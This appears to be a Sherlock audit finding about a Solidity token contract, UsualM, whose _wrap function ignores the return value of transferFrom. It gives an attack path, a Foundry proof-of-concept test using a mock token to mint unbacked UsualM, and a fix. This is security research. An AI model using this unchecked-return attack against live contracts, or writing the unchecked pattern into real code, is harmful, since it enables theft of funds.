Uneven Gingham Fly - An adversary being able to mint a lot of UsualM with zero WrappedM balance.

[sherlock-admin2]

Uneven Gingham Fly

Medium

An adversary being able to mint a lot of UsualM with zero WrappedM balance.

Summary

The external call(IWrappedMLike($.wrappedM).transferFrom) in UsualM::_wrap function does not have any return value check. If WrappedM contract is migrated to a new version where .transferFrom call returns false upon failure, anyone will be able to mint a lot of UsualM tokens with 0 WrappedM balance.

Root Cause

The UsualM::_wrap function is as follows:

    /**
     * @dev Wraps `amount` WrappedM from `account` into UsualM for `recipient`.
     * @param  account    The account from which WrappedM is deposited.
     * @param  recipient  The account receiving the minted UsualM.
     * @param  amount     The amount of WrappedM deposited.
     * @return wrapped    The amount of UsualM minted.
     */
    function _wrap(address account, address recipient, uint256 amount) internal returns (uint256 wrapped) {
        UsualMStorageV0 storage $ = _usualMStorageV0();

        // NOTE: The behavior of `IWrappedMLike.transferFrom` is known, so its return can be ignored.
        IWrappedMLike($.wrappedM).transferFrom(account, address(this), amount);

        _mint(recipient, wrapped = amount);
    }

Here the return value of .transferFrom call was deliberately ignored assuming that the behavior of IWrappedMLike.transferFrom is known. But WrappedMToken is a Migratable contract that is designed to be called through proxy and can be migrated to a new version in the future. The behavior of IWrappedMLike.transferFrom function of the future implementation contract is unknown. Instead of reverting, the IWrappedMLike($.wrappedM).transferFrom call might return false upon failure which UsualM::_wrap function won't be able to catch.

External Pre-conditions

1. The WrappedMToken contract will have to migrate to a new version where instead of reverting, the .transferFrom call will return false upon failure.

Attack Path

1. Adversary notices the WrappedMToken contract has been migrated to a new version where the .transferFrom call returns false upon failure.
2. Adversary calls UsualM::wrap function with 0 WrappedM balance.
3. Adversary gets away with minting X amount of UsualM tokens as long as totalSupply() + X <= $.mintCap.

Impact

Adversary getting away with minting a lot of UsualM tokens without providing any WrappedM balance.

PoC

// SPDX-License-Identifier: UNLICENSED

pragma solidity 0.8.26;

import { Test } from "../../../lib/forge-std/src/Test.sol";
import { MockRegistryAccess } from "../../utils/Mocks.sol";
import {
    DEFAULT_ADMIN_ROLE,
    USUAL_M_UNWRAP,
    USUAL_M_MINTCAP_ALLOCATOR
} from "../../../src/usual/constants.sol";
import { UsualM } from "../../../src/usual/UsualM.sol";

contract MockWrappedM_V2 {
    mapping(address account => uint256 balance) public balanceOf;
    function transfer(address recipient, uint256 amount) external returns (bool) {
        // return false instead of revert;
        if (balanceOf[msg.sender] < amount) return false;   

        balanceOf[msg.sender] -= amount;
        balanceOf[recipient] += amount;

        return true;
    }
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool) {
        // return false instead of revert;
        if (balanceOf[sender] < amount) return false;   

        balanceOf[sender] -= amount;
        balanceOf[recipient] += amount;

        return true;
    }
    function setBalanceOf(address account, uint256 balance) external {
        balanceOf[account] = balance;
    }
}

contract UsualMTests is Test {
    event MintCapSet(uint256 newMintCap);
    address internal _admin = makeAddr("admin");
    address internal _alice = makeAddr("alice");
    address internal _mintCapAllocator = makeAddr("mintCapAllocator");

    MockWrappedM_V2 internal _wrappedM;
    MockRegistryAccess internal _registryAccess;
    UsualM internal _usualM;
    function setUp() external {
        _wrappedM = new MockWrappedM_V2();
        _registryAccess = new MockRegistryAccess();

        // Set default admin role.
        _registryAccess.grantRole(DEFAULT_ADMIN_ROLE, _admin);

        _usualM = new UsualM();
        _resetInitializerImplementation(address(_usualM));
        _usualM.initialize(address(_wrappedM), address(_registryAccess));

        _registryAccess.grantRole(USUAL_M_UNWRAP, _alice);

        // Add mint cap allocator role to a separate address
        vm.prank(_admin);
        _registryAccess.grantRole(USUAL_M_MINTCAP_ALLOCATOR, _mintCapAllocator);

        // Set an initial mint cap
        vm.prank(_mintCapAllocator);
        _usualM.setMintCap(10_000e6);
    }
    
    /* ============ Mint UsualM with 0 WrappedM balance ============ */
    function test_wrap() external {
        assertEq(_wrappedM.balanceOf(_alice), 0);   // making sure _alice does not have any WrappedM balance.

        vm.prank(_alice);
        _usualM.wrap(_alice, 5000e6);

        assertEq(_wrappedM.balanceOf(address(_usualM)), 0); // no WrappedM is deposited in _usualM contract.
        assertEq(_usualM.balanceOf(_alice), 5000e6);   // _alice got away with minting 5000 UsualM.
    }

    /* ============ utils ============ */
    function _resetInitializerImplementation(address implementation) internal {
        // keccak256(abi.encode(uint256(keccak256("openzeppelin.storage.Initializable")) - 1)) & ~bytes32(uint256(0xff))
        bytes32 INITIALIZABLE_STORAGE = 0xf0c57e16840df040f15088dc2f81fe391c3923bec73e23a9662efc9c229c6a00;
        // Set the storage slot to uninitialized
        vm.store(address(implementation), INITIALIZABLE_STORAGE, 0);
    }
}

Mitigation

Add a return value check after IWrappedMLike($.wrappedM).transferFrom call or use SafeERC20.safeTransferFrom.